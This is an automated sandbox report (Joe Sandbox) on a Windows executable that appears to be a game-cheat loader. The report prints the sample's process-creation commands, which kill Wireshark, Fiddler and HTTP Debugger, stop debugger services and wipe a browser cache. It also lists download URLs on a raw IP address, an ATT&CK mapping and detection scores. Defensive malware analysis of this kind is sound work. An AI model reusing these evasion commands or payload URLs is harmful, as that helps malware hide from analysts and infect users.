Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T	Jump to behavior

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe

Code function: 0_2_00007FF602A00894 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF602A00894

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029D5370 socket,htonl,setsockopt,bind,getsockname,listen,socket,connect,accept,send,recv,memcmp,closesocket,closesocket,closesocket,closesocket,	0_2_00007FF6029D5370
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029E5300 calloc,strchr,strncpy,strchr,strncpy,strchr,strtoul,strchr,strtoul,getsockname,WSAGetLastError,free,WSAGetLastError,memcpy,htons,bind,WSAGetLastError,getsockname,WSAGetLastError,getsockname,WSAGetLastError,listen,WSAGetLastError,htons,free,	0_2_00007FF6029E5300
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029C7F40 memset,strncmp,strncmp,strchr,htons,atoi,htons,htons,bind,htons,bind,getsockname,WSAGetLastError,WSAGetLastError,	0_2_00007FF6029C7F40
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029EC060 calloc,calloc,calloc,bind,WSAGetLastError,	0_2_00007FF6029EC060
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029EBE00 calloc,calloc,calloc,bind,WSAGetLastError,	0_2_00007FF6029EBE00

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 Windows Service	1 Windows Service	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	1 Exploitation of Remote Services	12 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Native API	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	3 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PlusPrivStoreAtt116.exe	42%	Virustotal		Browse
PlusPrivStoreAtt116.exe	66%	ReversingLabs	Win64.Trojan.Lazy
PlusPrivStoreAtt116.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://167.114.85.75/plusattnewhvcionprivate.exe	0%	Avira URL Cloud	safe
http://167.114.85.75/plusattnewhvcionprivate.exeC:	0%	Avira URL Cloud	safe
https://keyauth.cc/panel/bronkzware/Loader	0%	Avira URL Cloud	safe
http://167.114.85.75/plushvcioffbronkzatualizadoh79.exeC:	0%	Avira URL Cloud	safe
http://167.114.85.75/plushvcioffbronkzatualizadoh79.exe	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
keyauth.win	104.26.1.5	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://keyauth.win/api/1.1/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://keyauth.win/api/1.2/:	PlusPrivStoreAtt116.exe, 00000000.00000002.2630935797.00000259F165C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://167.114.85.75/plusattnewhvcionprivate.exe	PlusPrivStoreAtt116.exe	false	Avira URL Cloud: safe	unknown
http://167.114.85.75/plushvcioffbronkzatualizadoh79.exeC:	PlusPrivStoreAtt116.exe	false	Avira URL Cloud: safe	unknown
http://167.114.85.75/plushvcioffbronkzatualizadoh79.exe	PlusPrivStoreAtt116.exe	false	Avira URL Cloud: safe	unknown
https://keyauth.win/api/1.1/ace	PlusPrivStoreAtt116.exe, 00000000.00000002.2630935797.00000259F165C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://keyauth.win/api/1.1/umem	PlusPrivStoreAtt116.exe, 00000000.00000002.2630935797.00000259F165C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://167.114.85.75/plusattnewhvcionprivate.exeC:	PlusPrivStoreAtt116.exe	false	Avira URL Cloud: safe	unknown
https://curl.haxx.se/docs/http-cookies.html	PlusPrivStoreAtt116.exe	false		high
https://curl.haxx.se/docs/http-cookies.html#	PlusPrivStoreAtt116.exe	false		high
https://keyauth.cc/panel/bronkzware/Loader	PlusPrivStoreAtt116.exe, 00000000.00000003.1395395872.00000259F16B1000.00000004.00000020.00020000.00000000.sdmp, PlusPrivStoreAtt116.exe, 00000000.00000003.1395284234.00000259F16B1000.00000004.00000020.00020000.00000000.sdmp, PlusPrivStoreAtt116.exe, 00000000.00000003.1395395872.00000259F16B5000.00000004.00000020.00020000.00000000.sdmp, PlusPrivStoreAtt116.exe, 00000000.00000002.2630935797.00000259F1689000.00000004.00000020.00020000.00000000.sdmp, PlusPrivStoreAtt116.exe, 00000000.00000002.2630935797.00000259F165C000.00000004.00000020.00020000.00000000.sdmp, PlusPrivStoreAtt116.exe, 00000000.00000002.2630935797.00000259F16B5000.00000004.00000020.00020000.00000000.sdmp, PlusPrivStoreAtt116.exe, 00000000.00000003.1395284234.00000259F16B5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://keyauth.win/api/1.2/	PlusPrivStoreAtt116.exe, 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmp, PlusPrivStoreAtt116.exe, 00000000.00000002.2630935797.00000259F165C000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.26.1.5	keyauth.win	United States		13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590901
Start date and time:	2025-01-14 16:44:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PlusPrivStoreAtt116.exe
Detection:	MAL
Classification:	mal56.winEXE@66/18@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 50 Number of non-executed functions: 226
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 4.175.87.197
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:46:03	API Interceptor	214943x Sleep call for process: PlusPrivStoreAtt116.exe modified
10:47:18	API Interceptor	450x Sleep call for process: conhost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.26.1.5	CCuITQzvd4.exe	Get hash	malicious	Unknown	Browse
	dMFmJxq6oK.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.31244.2279.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.GenericKD.74444428.17336.1019.exe	Get hash	malicious	Unknown	Browse
	Fa1QSXjTZD.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.Evo-gen.6030.29502.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.Generic.36879400.484.7364.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.6639.30242.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.Evo-gen.24402.15705.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.25010.24037.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
keyauth.win	B06 Chair + Blocker.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	B06 Chair + Blocker.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	ak3o7AZ3mH.exe	Get hash	malicious	Babadeda, Conti, Mimikatz	Browse	104.26.0.5
	Aclatis tool.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	Aclatis tool.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	IJGLxMMTaK.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	IJGLxMMTaK.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	dMFmJxq6oK.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	CCuITQzvd4.exe	Get hash	malicious	Unknown	Browse	104.26.1.5
	dMFmJxq6oK.exe	Get hash	malicious	Unknown	Browse	104.26.1.5

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Confirm Bank Statement.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.64.1
	0dsIoO7xjt.docx	Get hash	malicious	Unknown	Browse	172.65.251.78
	http://wagestream.acemlnb.com	Get hash	malicious	Unknown	Browse	104.20.0.15
	Subscription_Renewal_Receipt_2025.htm	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	Payment_243.js	Get hash	malicious	NetSupport RAT	Browse	172.67.68.212
	Payment_243.js	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	http://vionicstore.shop	Get hash	malicious	Unknown	Browse	104.18.73.116
	http://yourexcellency.activehosted.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.xrmtoolbox.com/	Get hash	malicious	Unknown	Browse	172.67.197.240
	mWAik6b.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	172.67.150.129

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Confirm Bank Statement.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.26.1.5
	Subscription_Renewal_Receipt_2025.htm	Get hash	malicious	HTMLPhisher	Browse	104.26.1.5
	http://vionicstore.shop	Get hash	malicious	Unknown	Browse	104.26.1.5
	https://www.xrmtoolbox.com/	Get hash	malicious	Unknown	Browse	104.26.1.5
	q9JZUaS1Gy.doc	Get hash	malicious	Unknown	Browse	104.26.1.5
	TiOWA908TP.exe	Get hash	malicious	Unknown	Browse	104.26.1.5
	https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fmessagupdates.courtfilepro.com%2FVTtMa	Get hash	malicious	HTMLPhisher	Browse	104.26.1.5
	TiOWA908TP.exe	Get hash	malicious	Unknown	Browse	104.26.1.5

Process:	C:\Users\user\Desktop\PlusPrivStoreAtt116.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	304
Entropy (8bit):	3.644169459123466
Encrypted:	false
SSDEEP:	3:rRRqmIEaGj3F/9Dqa+U4W42oJXWWxbF2To3G3oJXWWxbFWXqowvxOwVGt:H041lxwhHawhwcV4
MD5:	DF552214087F20ACF423B1FA912CAF62
SHA1:	4CB23050703E757BFE05C0E4B28314D673B08693
SHA-256:	98F76FD5FEA096224BD97E3EA6A315E01A5218E57EE59ADD7DD8F691F4FCCA51
SHA-512:	07754C89FDDC1391628BFBC470B8B67ED73583EAACBA4F30E0F3F17FBCFCD148E06620E3698666CA2BA068F9FE0A2F913322DFF9C1B11B106FB89B779F9A777A
Malicious:	false
Preview:	....##########################################################..[ Selecione uma opcao: ]..##########################################################....[1] Iniciar Valorant Plus (HVCI DESLIGADO): ..[2] Iniciar Valorant Plus (HVCI HABILITADO): ....[+] Selecione a opcao:

\Device\Null

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.003997527334849
Encrypted:	false
SSDEEP:	3:HnRthLK5a6eCMABe:HRoJPO
MD5:	DF5DC1ABC0D52F3C9E931E26A7C0065C
SHA1:	EE84123D3B3BC440C63DFE65FF5616BE2B0904D5
SHA-256:	F7167A2FACDE50428D8D2697A1CDFF075DE809323DD16D62B65CDD103B2A9A6D
SHA-512:	9B2253CE41880D22A2DDF4F886BB6CB22FF0C981400CD9D03A1FCA81DE5FAEB86C26B85B66ECEC960816D7BBE9740843890F2FCCD334B6D274295A32A8E6A4E9
Malicious:	false
Preview:	The system cannot find the file specified...

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	6.420350102147237
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	PlusPrivStoreAtt116.exe
File size:	510'464 bytes
MD5:	d4a125241862eb0a4bd1afcf362d914f
SHA1:	c3c418450fe4cd0768e214a270374f6e1c8e37f3
SHA256:	29c141ee54b805226e0fe7eafe994ec3b461a648861497964acff28d35ba78b8
SHA512:	0e860929f32f69fd1bc89799fd84ac64b96516fed0123ab9c5a2afbef1e87de6c51f90b9cf0d5d1f6dd1726fc26e6118bc780a8bd43ea54a215689959bfa53f0
SSDEEP:	12288:GKYt4C6iIzrAjqDKE22zDzN5ofEwN/PXMk:Gt4C63zriea2zHNyEwpXMk
TLSH:	45B47D56A7A817E9D1A7C03CC547C603E7B6B4991311DBDB43A0CA792F237E26E3A710
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........V...V...V..._...B...PHe.^...PH..v...PH..\...PH..R...PH..P.......A...V...x.......?...9H..T...9H..W...9Hg.W...9H..W...RichV..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140060368
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x677DDEDD [Wed Jan 8 02:11:41 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	551e5f19de2baa264d46ee5c6718793c

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FAD411DA1F8h
dec eax
add esp, 28h
jmp 00007FAD411D9B47h
int3
int3
jmp 00007FAD411DA4AEh
int3
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
xor ecx, ecx
call dword ptr [00001D9Bh]
dec eax
mov ecx, ebx
call dword ptr [00001D8Ah]
call dword ptr [00001DE4h]
dec eax
mov ecx, eax
mov edx, C0000409h
dec eax
add esp, 20h
pop ebx
dec eax
jmp dword ptr [00001DE0h]
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 38h
mov ecx, 00000017h
call dword ptr [00001DD4h]
test eax, eax
je 00007FAD411D9CD9h
mov ecx, 00000002h
int 29h
dec eax
lea ecx, dword ptr [00019492h]
call 00007FAD411D9E9Eh
dec eax
mov eax, dword ptr [esp+38h]
dec eax
mov dword ptr [00019579h], eax
dec eax
lea eax, dword ptr [esp+38h]
dec eax
add eax, 08h
dec eax
mov dword ptr [00019509h], eax
dec eax
mov eax, dword ptr [00019562h]
dec eax
mov dword ptr [000193D3h], eax
dec eax
mov eax, dword ptr [esp+40h]
dec eax
mov dword ptr [000194D7h], eax
mov dword ptr [000193ADh], C0000409h
mov dword ptr [000193A7h], 00000001h
mov dword ptr [000000B1h], 00000000h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x77318	0x1cc	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7f000	0x1e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x7a000	0x405c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x80000	0x4ec	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x71090	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x71100	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x70f50	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x62000	0x858	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x606e8	0x60800	f6be6f4c0ca7f222fea58e8729dc8f93	False	0.5324744980569949	data	6.334595345552807	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x62000	0x16ec4	0x17000	5baa9e49913892291fedbb67715bfaf7	False	0.379585597826087	data	5.59957998743783	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x79000	0xe08	0x400	cef7bcba2c4bb58f5386ec5b3ae9f7f8	False	0.2138671875	data	2.4461568678801138	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x7a000	0x405c	0x4200	1f44589aeb34f25d94952a45d7939e4f	False	0.47407670454545453	data	5.699721075250355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x7f000	0x1e8	0x200	9682c2bd23621eded0bee00be928ba8f	False	0.54296875	data	4.772037401703051	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x80000	0x4ec	0x600	cac0ac8c6a84a9b40000852c8a3bff36	False	0.5149739583333334	data	4.845798537474806	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x7f060	0x188	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5892857142857143

Imports

DLL	Import
KERNEL32.dll	ReadFile, PeekNamedPipe, WaitForMultipleObjects, CreateFileA, GetFileSizeEx, WideCharToMultiByte, RtlCaptureContext, GetModuleHandleA, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, FreeLibrary, GetSystemDirectoryA, QueryPerformanceFrequency, VerSetConditionMask, SleepEx, GetEnvironmentVariableA, EnterCriticalSection, FormatMessageA, SetLastError, CloseHandle, GetCurrentProcess, DeleteCriticalSection, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetModuleHandleW, GetCurrentProcessId, GetCurrentThreadId, GetFileType, MultiByteToWideChar, WaitForSingleObjectEx, MoveFileExA, GetTickCount, QueryPerformanceCounter, VerifyVersionInfoA, LoadLibraryA, LeaveCriticalSection, GetSystemTimeAsFileTime, GetProcAddress, GetLastError, InitializeCriticalSectionEx, GetConsoleWindow, SetConsoleTitleA, SetConsoleTextAttribute, SetConsoleScreenBufferInfoEx, GetConsoleScreenBufferInfoEx, SetConsoleMode, GetConsoleMode, Sleep, RtlLookupFunctionEntry, GetStdHandle, OutputDebugStringW, InitializeSListHead
USER32.dll	MessageBoxA, MoveWindow, GetWindowRect, GetWindowLongA, SetWindowLongA
ADVAPI32.dll	CryptEncrypt, CryptAcquireContextA, CryptReleaseContext, CryptGetHashParam, CryptGenRandom, CryptCreateHash, CryptHashData, CryptDestroyHash, CryptDestroyKey, CryptImportKey
SHELL32.dll	ShellExecuteA
MSVCP140.dll	?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ, ?_Xlength_error@std@@YAXPEBD@Z, _Thrd_detach, _Cnd_do_broadcast_at_thread_exit, ?_Throw_Cpp_error@std@@YAXH@Z, ??5?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@AEAH@Z, ?_Random_device@std@@YAIXZ, ?cin@std@@3V?$basic_istream@DU?$char_traits@D@std@@@1@A, ?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A, ?uncaught_exception@std@@YA_NXZ, ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z, ?_Xbad_function_call@std@@YAXXZ, ?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ, ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z, ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z
urlmon.dll	URLDownloadToFileA
Normaliz.dll	IdnToAscii
WLDAP32.dll
